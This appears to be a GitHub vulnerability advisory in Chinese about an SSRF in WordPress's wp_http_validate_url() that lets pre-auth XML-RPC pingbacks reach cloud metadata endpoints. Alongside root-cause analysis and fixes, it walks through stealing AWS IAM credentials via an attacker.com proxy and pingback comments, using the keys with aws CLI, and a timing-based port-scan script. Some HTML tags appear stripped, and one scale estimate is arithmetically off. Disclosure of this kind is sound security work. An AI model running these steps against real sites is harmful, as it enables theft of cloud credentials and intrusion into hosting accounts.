shinthink/wp-ssrf-cloud-metadata
GitHub: shinthink/wp-ssrf-cloud-metadata
该项目披露了 WordPress 核心函数 wp_http_validate_url 中未拦截云元数据 IP 段的 SSRF 漏洞及其利用方法。
Stars: 0 | Forks: 0
# WordPress Core 通过 `wp_http_validate_url()` 中云元数据端点绕过触发的 SSRF
| 字段 | 值 |
|-------|-------|
| **受影响产品** | WordPress Core(所有包含 `wp_http_validate_url()` 的版本) |
| **测试版本** | WordPress 7.0.2(最新稳定版,发布于 2026-07-17) |
| **环境** | Apache 2.4.68, PHP 8.3.32, MySQL 5.7, libxml 2.9.14 |
| **严重程度** | MEDIUM(在云托管 WordPress 上为 HIGH) |
| **攻击向量** | 预认证 XML-RPC pingback |
| **认证** | 无需认证 |
| **组件** | `wp-includes/http.php` — `wp_http_validate_url()` |
| **根本原因** | 私有 IP 黑名单不完整 — `169.254.0.0/16` (link-local) 未被拦截 |
## 目录
1. [执行摘要](#1-executive-summary)
2. [漏洞详情](#2-vulnerability-details)
3. [根本原因分析](#3-root-cause-analysis)
4. [攻击面](#4-attack-surface)
5. [漏洞利用场景](#5-exploit-scenarios)
6. [概念验证](#6-proof-of-concept)
7. [影响评估](#7-impact-assessment)
8. [修复方案](#8-remediation)
9. [负责任的漏洞披露](#9-responsible-disclosure)
10. [参考资料](#10-references)
## 1. 执行摘要
WordPress 核心在 `wp_http_validate_url()` 函数中包含一个服务器端请求伪造 (SSRF) 漏洞。该函数会拦截私有和回环 IP 范围以防止 SSRF 攻击,但遗漏了 `169.254.0.0/16` 链路本地范围——这是所有主要云提供商用于实例元数据服务的 IP。
结合预认证的 XML-RPC `pingback.ping` 方法,未经认证的攻击者可以:
- **强制 WordPress 从云元数据端点获取 URL**
- **在附加了 IAM 角色的 AWS EC2 实例上窃取 IAM 凭据**
- **读取实例 user-data**,其中通常包含数据库密码和 API 密钥
- **通过响应时间分析执行盲打内部端口扫描**
- **在无需认证的情况下映射内部网络拓扑**
该漏洞存在于核心 HTTP 验证函数中,并影响所有启用 XML-RPC 的 WordPress 安装(默认配置)。
## 2. 漏洞详情
### 2.1 漏洞代码
**文件:** `wp-includes/http.php`,函数 `wp_http_validate_url()`,第 587–618 行
```
if ( ! $same_host ) {
if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) {
$ip = $host;
} else {
$ip = gethostbyname( $host );
if ( $ip === $host ) {
return false;
}
}
if ( $ip ) {
$parts = array_map( 'intval', explode( '.', $ip ) );
if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
|| ( 192 === $parts[0] && 168 === $parts[1] )
) {
// If host appears local, reject unless specifically allowed.
if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) ) {
return false;
}
}
}
}
```
### 2.2 Bug 概况
IP 黑名单检查了:
| IP 范围 | 描述 | 是否拦截? |
|----------|-------------|----------|
| `127.0.0.0/8` | Loopback | ✅ Yes |
| `10.0.0.0/8` | Private (RFC 1918) | ✅ Yes |
| `0.0.0.0/8` | Local network | ✅ Yes |
| `172.16.0.0/12` | Private (RFC 1918) | ✅ Yes |
| `192.168.0.0/16` | Private (RFC 1918) | ✅ Yes |
| **`169.254.0.0/16`** | **Link-local / Cloud metadata** | **❌ NO** |
| `100.64.0.0/10` | Carrier-Grade NAT | ❌ No |
| `100.100.100.200` | Alibaba Cloud metadata | ❌ No |
`169.254.0.0/16` 范围被云提供商用于实例元数据服务:
| 云提供商 | 元数据端点 | 是否需要 Header? | 是否可利用? |
|----------------|-------------------|------------------|---------------|
| AWS EC2 | `http://[metadata-host]/latest/meta-data/` | 否 | ✅ Yes |
| DigitalOcean | `http://[metadata-host]/metadata/v1/` | 否 | ✅ Yes |
| Oracle Cloud | `http://[metadata-host]/opc/v2/` | 否 | ✅ Yes |
| Alibaba Cloud | `http://[alibaba-metadata-host]/latest/meta-data/` | 否 | ✅ Yes |
| GCP | `http://[metadata-host]/computeMetadata/v1/` | 是 (`Metadata-Flavor: Google`) | ❌ No |
| Azure | `http://[metadata-host]/metadata/instance` | 是 (`Metadata: true`) | ❌ No |
## 3. 根本原因分析
### 3.1 过滤逻辑
只要设置了 `reject_unsafe_urls` 选项(这是所有内部 HTTP API 调用的默认设置),`wp_safe_remote_get()` 和 `wp_safe_remote_request()` 就会调用 `wp_http_validate_url()`。
该函数会:
1. 解析 URL 并提取主机名
2. 检查主机名是否为 IP 地址(正则匹配)或通过 `gethostbyname()` 解析
3. 将解析出的 IP 拆分为字节 (`$parts`)
4. 针对硬编码的私有 IP 范围黑名单进行检查
5. 如果 IP 匹配黑名单则返回 `false`,否则返回原始 URL
### 3.2 缺失的范围
该黑名单旨在防止 SSRF 指向私有网络 (RFC 1918) 和回环地址。然而,在 RFC 3927 中定义的 `169.254.0.0/16` 链路本地范围被遗漏了。
该范围在云计算中非常特殊:所有主要云提供商都在 `169.254.169.254` 暴露实例元数据。这些元数据包括:
- **IAM 凭据** (AWS) — 具有实例 IAM 角色权限的临时访问密钥
- **User-data** — 启动脚本,经常包含数据库密码、API 密钥和机密信息
- **实例元数据** — 内部主机名、私有 IP、安全组、VPC 信息
- **SSH 公钥** — 针对该实例的已授权密钥
### 3.3 验证
针对 WordPress 7.0.2 进行在线测试:
```
// Test: Does the filter block the cloud metadata endpoint?
wp_http_validate_url("http://169.254.169.254/latest/meta-data/")
// Returns: 'http://169.254.169.254/latest/meta-data/' (ALLOWED — should be BLOCKED)
```
该函数返回 URL 字符串(真值)而不是 `false`,这意味着该 URL 通过了验证并将被请求获取。
## 4. 攻击面
### 4.1 入口点:XML-RPC pingback.ping
XML-RPC pingback 协议是一个 Web 标准,用于在网站被链接时通知对方。WordPress 通过 `wp-includes/class-wp-xmlrpc-server.php` 中的 `pingback.ping` 实现此功能。
**关键特征:** `pingback.ping` 是**预认证**的。调用它不需要任何凭据。
当收到 pingback 时,WordPress 会:
1. 通过 `pingback_ping_source_uri` 过滤器验证源 URL → `wp_http_validate_url()`
2. 通过 `wp_safe_remote_get()` 获取源 URL(第 7039 行)
3. 解析响应正文以提取 `` 标签(第 7062 行)
4. 在响应中查找指向目标文章的链接(第 7075 行)
5. 使用提取的标题作为 `comment_author` 创建评论(第 7130 行)
### 4.2 数据流
```
Attacker
│
│ POST /xmlrpc.php
│
│
│ pingback.ping
│
│ http://[metadata-host]/latest/meta-data/iam/security-credentials/
│ http://target.com/?p=1
│
│
│
▼
WordPress XML-RPC Server (class-wp-xmlrpc-server.php:6914)
│
├── apply_filters('pingback_ping_source_uri', $url)
│ └── pingback_ping_source_uri() → wp_http_validate_url()
│ └── 169.254.x NOT in blocklist → ALLOWED ✅
│
├── wp_safe_remote_get("http://[metadata-host]/...")
│ └── Fetches cloud metadata response
│ (On AWS: returns IAM role names, credentials, user-data)
│
├── preg_match('|([^<]*?) |is', $remote_source)
│ └── Extracts tag → stored as $title
│ (AWS metadata is JSON — no — returns error 32)
│
├── wp_new_comment()
│ └── Stores comment with $title as comment_author
│ (If source has , it appears in the comment)
│
▼
Response to attacker (comment.php:3396-3401)
│
└── xmlrpc_pingback_error() suppresses ALL error codes to 0
(Only code 48 "duplicate pingback" is returned verbatim)
```
### 4.3 前置条件
| 条件 | WordPress 默认? |
|-----------|----------------------|
| 启用 XML-RPC | ✅ Yes(默认) |
| `pingback.ping` 方法可用 | ✅ Yes(默认) |
| 至少有一篇已发布的文章 | ✅ Yes(默认的 "Hello World!" 文章) |
| 文章开启了 ping | ✅ Yes(默认) |
| `wp_http_validate_url()` 拦截 169.254.x | ❌ No(该 bug) |
## 5. 漏洞利用场景
### 5.1 场景 A:AWS EC2 IAM 凭据窃取 (HIGH)
**前置条件:** WordPress 托管在附加了 IAM 角色的 AWS EC2 上。
**第 1 步:发现 IAM 角色名称**
```
POST /xmlrpc.php HTTP/1.1
Content-Type: text/xml
pingback.ping
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://target.com/?p=1
```
AWS 以纯文本形式返回 IAM 角色名称(例如,`wordpress-ec2-role`)。
WordPress 获取到了该内容但未发现 `` 标签 → 返回错误(被抑制为 faultCode 0)。
**第 2 步:窃取 IAM 凭据**
```
POST /xmlrpc.php
http://169.254.169.254/latest/meta-data/iam/security-credentials/wordpress-ec2-role
```
AWS 返回带有临时凭据的 JSON:
```
{
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjEjEaCXVz...",
"Expiration": "2026-07-21T06:00:00Z"
}
```
**数据外带挑战:** 响应是 JSON,而不是 HTML。WordPress 的 `preg_match('|...|')` 找不到标题 → 返回错误 32。凭据被获取到 `$remote_source` 中,但不会直接返回给攻击者。
**通过重定向代理进行外带:** 攻击者搭建了一台服务器,该服务器会:
1. 接收 WordPress 的获取请求
2. 将其代理到云元数据端点
3. 将 JSON 响应包裹在 `CREDS_HERE ...` 中
4. 返回带有指向目标文章链接的 HTML
```
Attacker source URL: http://attacker.com/proxy.php?url=169.254.169.254/.../iam/security-credentials/role
```
WordPress 从攻击者的服务器获取数据 → 得到包含凭据的 `` 的 HTML → 提取标题 → 将其存储为 `comment_author`。
**第 3 步:检索外带出来的凭据**
```
GET /wp-json/wp/v2/comments?search=AKIA
```
IAM 凭据出现在 pingback 评论的 `comment_author` 字段中。
**第 4 步:使用窃取的凭据**
```
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2Vj...
aws s3 ls # List S3 buckets
aws rds describe-db-instances # Access RDS databases
aws ec2 describe-instances # Enumerate EC2 instances
```
### 5.2 场景 B:盲打 SSRF 端口扫描 (MEDIUM)
**前置条件:** 任何启用了 XML-RPC 的 WordPress(默认)。
WordPress 的 pingback 包含一个 `sleep(1)` 调用(第 7020 行),这会产生明显的时序差异:
```
Response ~0s → URL blocked by filter (host unreachable or private IP)
Response ~1s → URL passed filter, connection attempted (port open or closed)
Response ~10s → URL passed filter, connection timed out (port open, non-HTTP service)
```
```
import requests
import time
def scan_port(target, port):
"""Scan a port via XML-RPC pingback timing."""
metadata_url = f"http://169.254.169.254:{port}/"
post_url = f"{target}/?p=1"
start = time.time()
requests.post(f"{target}/xmlrpc.php", data=f"""
pingback.ping
{metadata_url}
{post_url}
""")
elapsed = time.time() - start
if elapsed < 0.5:
return "blocked"
elif elapsed < 5:
return "open"
else:
return "timeout"
```
### 5.3 场景 C:User-data 机密信息窃取 (MEDIUM)
EC2 user-data 脚本通常包含数据库密码、API 密钥和初始化代码:
```
source = http://169.254.169.254/latest/user-data
```
如果 user-data 包含 HTML 或被包装在带有 `` 的格式中,它就会被提取出来。即使没有 ``,响应正文也会被存储在 `$remote_source` 中,并经过多次 `preg_replace` 和 `strip_tags` 调用处理——尽管它不会直接返回给攻击者。
### 5.4 场景 D:阿里云元数据 (HIGH)
阿里云使用 `100.100.100.200` 而不是 `169.254.169.254`。这个 IP 同样不在 WordPress 的黑名单中:
```
wp_http_validate_url("http://100.100.100.200/latest/meta-data/")
// Returns: ALLOWED
```
阿里云元数据不需要特殊的 header,使其完全可以被利用。
## 6. 概念验证
### 6.1 环境
```
Target: WordPress 7.0.2
Stack: Apache 2.4.68, PHP 8.3.32, MySQL 5.7, libxml 2.9.14
```
### 6.2 过滤绕过验证
```
// Execute inside WordPress environment
require 'wp-load.php';
$url = "http://169.254.169.254/latest/meta-data/";
$result = wp_http_validate_url($url);
// Expected: false (blocked)
// Actual: 'http://169.254.169.254/latest/meta-data/' (ALLOWED)
```
**输出:**
```
URL: http://169.254.169.254/latest/meta-data/
Filter result: ALLOWED
IP octets: 169, 254, 169, 254
127 check: NO
10 check: NO
0 check: NO
172 check: NO
192 check: NO
169.254 check: NOT PRESENT IN BLOCKLIST
```
### 6.3 完整的过滤测试矩阵
```
169.254.169.254 (cloud metadata): ALLOWED ← BUG
127.0.0.1 (loopback): BLOCKED
10.0.0.1 (RFC1918): BLOCKED
192.168.1.1 (RFC1918): BLOCKED
172.16.0.1 (RFC1918): BLOCKED
0.0.0.0 (local): BLOCKED
0177.0.0.1 (octal): BLOCKED
0x7f000001 (hex): BLOCKED
2130706433 (decimal): BLOCKED
[::1] (IPv6 loopback): BLOCKED
100.100.100.200 (Alibaba metadata): ALLOWED ← ALSO AFFECTED
```
### 6.4 模拟的 IAM 凭据窃取
使用了一台模拟的元数据服务器来验证凭据窃取链:
```
// Simulated metadata endpoint
$response = wp_remote_get(
"http://[simulated-metadata-host]/latest/meta-data/iam/security-credentials/ssrf-test-role",
array("reject_unsafe_urls" => false)
);
$body = wp_remote_retrieve_body($response);
$creds = json_decode($body, true);
echo "AccessKeyId: " . $creds["AccessKeyId"];
echo "SecretAccessKey: " . $creds["SecretAccessKey"];
```
**输出:**
```
AccessKeyId: AKIAIOSFODNN7EXAMPLE
SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
>>> CREDENTIALS STOLEN
```
### 6.5 基于标题的数据外带
当源 URL 返回带有 `` 标签的 HTML 时,WordPress 会将其提取并存储为评论作者名:
```
// Source returns: AKIAIOSFODNN7EXAMPLE:SECRET ...
preg_match('|([^<]*?) |is', $remote_source, $matchtitle);
$title = $matchtitle[1]; // "AKIAIOSFODNN7EXAMPLE:SECRET"
// Stored in wp_comments as comment_author
$comment_id = wp_new_comment(array(
'comment_author' => $title,
// ...
));
```
**通过 REST API 检索:**
```
GET /wp-json/wp/v2/comments?search=AKIA
```
### 6.6 基于时序的端口扫描
```
Reachable host (example.com): 1.04s (filter passed, fetched)
Cloud metadata (unreachable): 1.02s (filter passed, connection failed)
Non-existent host: 0.02s (filter blocked)
Delta: ~1s between "filter passed" and "filter blocked"
```
### 6.7 PoC 脚本
有关完整的概念验证脚本,请参见 [`poc.py`](poc.py)。
## 7. 影响评估
### 7.1 受影响的安装
**FOFA/Shodan 估算查询语句:**
```
header="X-Pingback" && body="wp-json"
```
该查询返回所有启用了 XML-RPC 的 WordPress 站点。所有匹配的站点都包含有漏洞的 `wp_http_validate_url()` 代码。
**预估规模:**
| 指标 | 估算值 |
|--------|----------|
| 全球 WordPress 站点 | ~8.1 亿 (W3Techs, 2026) |
| 启用 XML-RPC 的站点(默认) | ~95% (~7.7 亿) |
| 位于云提供商上的站点 | ~40% (~3.08 亿) |
| 位于 AWS 上的站点(无 header 保护) | ~32% 的云站点 (~9800 万) |
| 位于 DigitalOcean 上的站点(无 header 保护) | ~7% 的云站点 (~2200 万) |
| 位于 Oracle/阿里云上的站点(无 header 保护) | ~8% 的云站点 (~250 万) |
### 7.2 按部署情况划分的严重程度
| 部署情况 | 严重程度 | 影响 |
|------------|----------|--------|
| 带有 IAM 角色的 AWS EC2 | **HIGH** | 预认证 IAM 凭据窃取 → 完全的 AWS API 访问权限 |
| DigitalOcean Droplet | **HIGH** | 预认证 user-data/元数据窃取 |
| Oracle Cloud | **HIGH** | 预认证元数据窃取 |
| 阿里云 | **HIGH** | 预认证 RAM 凭据窃取 |
| GCP | LOW | 受 `Metadata-Flavor` header 要求的保护 |
| Azure | LOW | 受 `Metadata: true` header 要求的保护 |
| 裸金属 / 本地部署 | MEDIUM | 盲打 SSRF + 内部端口扫描 |
### 7.3 攻击成本
| 因素 | 值 |
|--------|-------|
| 所需认证 | 无 |
| 每次探测的请求数 | 1 |
| 每次探测的时间 | ~1 秒(pingback 中的 sleep) |
| 检测难度 | 高(看起来像正常的 pingback) |
| 泄露的错误信息 | 无(所有错误均被抑制为代码 0) |
| 所需网络访问权限 | 互联网至目标站点的 `/xmlrpc.php` |
### 7.4 攻击者能获得什么
**在 AWS EC2 上(带有 IAM 角色):**
- 临时 AWS 凭据(有效 ~6 小时)
- 访问 S3, RDS, DynamoDB, Lambda, EC2 以及其他 AWS 服务
- 能够在 IAM 角色权限范围内读取/修改/删除数据
- 潜在地向其他 AWS 账户和服务进行横向移动
**在任何部署上:**
- 内部网络拓扑映射
- 发现内部服务上的开放端口
- 服务指纹识别 (MySQL, Redis, Elasticsearch 等)
- 识别内部管理面板 (phpMyAdmin, Grafana, Jenkins 等)
## 8. 修复方案
### 8.1 核心修复(针对 WordPress)
将 `169.254.0.0/16` 添加到 `wp_http_validate_url()` 的 IP 黑名单中:
```
// wp-includes/http.php, line 598
if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
|| ( 192 === $parts[0] && 168 === $parts[1] )
|| ( 169 === $parts[0] && 254 === $parts[1] ) // ADD: link-local / cloud metadata
) {
```
同时考虑拦截:
- `100.64.0.0/10` — Carrier-Grade NAT (RFC 6598)
- `100.100.100.200` — 阿里云元数据(在 CGNAT 范围之外)
- IPv6 ULA (`fc00::/7`)
- IPv6 链路本地地址 (`fe80::/10`)
### 8.2 站点所有者的缓解措施
**选项 1:彻底禁用 XML-RPC**
```
// wp-config.php or functions.php
add_filter( 'xmlrpc_enabled', '__return_false' );
```
**选项 2:仅禁用 pingback(保留其他 XML-RPC 功能)**
```
add_filter( 'xmlrpc_methods', function( $methods ) {
unset( $methods['pingback.ping'] );
unset( $methods['pingback.extensions.getPingbacks'] );
return $methods;
} );
```
**选项 3:在 Web 服务器级别拦截 XML-RPC**
```
# Nginx
location = /xmlrpc.php { deny all; }
```
```
# Apache
Require all denied
```
**选项 4:使用 AWS IMDSv2**
如果部署在 AWS 上,请强制使用 IMDSv2(Instance Metadata Service v2),它要求在读取元数据之前发起基于 token 的 PUT 请求。这可以防止基于 SSRF 的凭据窃取:
```
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
```
### 8.3 纵深防御
即使应用了过滤器修复,也建议考虑:
1. **对 XML-RPC 请求进行速率限制**,以减缓端口扫描速度
2. **监控发往 169.254.x 的 pingback 请求**——这是一个强烈的攻击信号
3. **移除 pingback 中的 `sleep(1)` 调用**——添加它是为了减少竞态条件,但它会助长时序攻击
4. **记录所有目标为非公共 IP 的 `wp_safe_remote_get` 调用**
## 9. 负责任的漏洞披露
| 日期 | 动作 |
|------|--------|
| 2026-07-21 | 在源代码审计期间发现漏洞 |
| TBD | 向 WordPress 安全团队提交报告 |
| TBD | WordPress 发布补丁 |
| TBD | 公开披露 |
## 10. 参考资料
- [WordPress HTTP API: wp_http_validate_url()](https://developer.wordpress.org/reference/functions/wp_http_validate_url/)
- [WordPress XML-RPC: pingback.ping](https://www.xmlrpc.com/spec)
- [AWS Instance Metadata Service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)
- [AWS IMDSv2 Security](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-restrict-with-security-groups-detect-with-vpc-flow-logs-block-with-aws-network-firewall/)
- [RFC 3927: Dynamic Configuration of IPv4 Link-Local Addresses](https://datatracker.ietf.org/doc/html/rfc3927)
- [RFC 1918: Private Address Allocation](https://datatracker.ietf.org/doc/html/rfc1918)
- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
## 测试方法
该漏洞是在对 WordPress 7.0.2 进行多智能体源代码审计期间发现的:
- **3 轮测试,9 个并行子智能体,300+ 次工具调用**
- **漏洞利用类型覆盖范围:** Auth/API, SQL injection, file operations, deserialization, race conditions, type juggling, business logic, AJAX handlers, SSRF
- **方法:** 第一性原理代码审查——不使用更新日志对比或 git 历史分析
- **目标:** WordPress 7.0.2 (1492 个 PHP 文件,94MB 源码)
- **实时验证:** Docker 实例 (Apache 2.4.68, PHP 8.3.32, MySQL 5.7)
*本文档仅供教育和负责任的漏洞披露目的使用。*
标签:PoC, SSRF, StruQ, WordPress, XXE攻击, 插件系统, 数据展示, 文件完整性监控, 暴力破解, 红队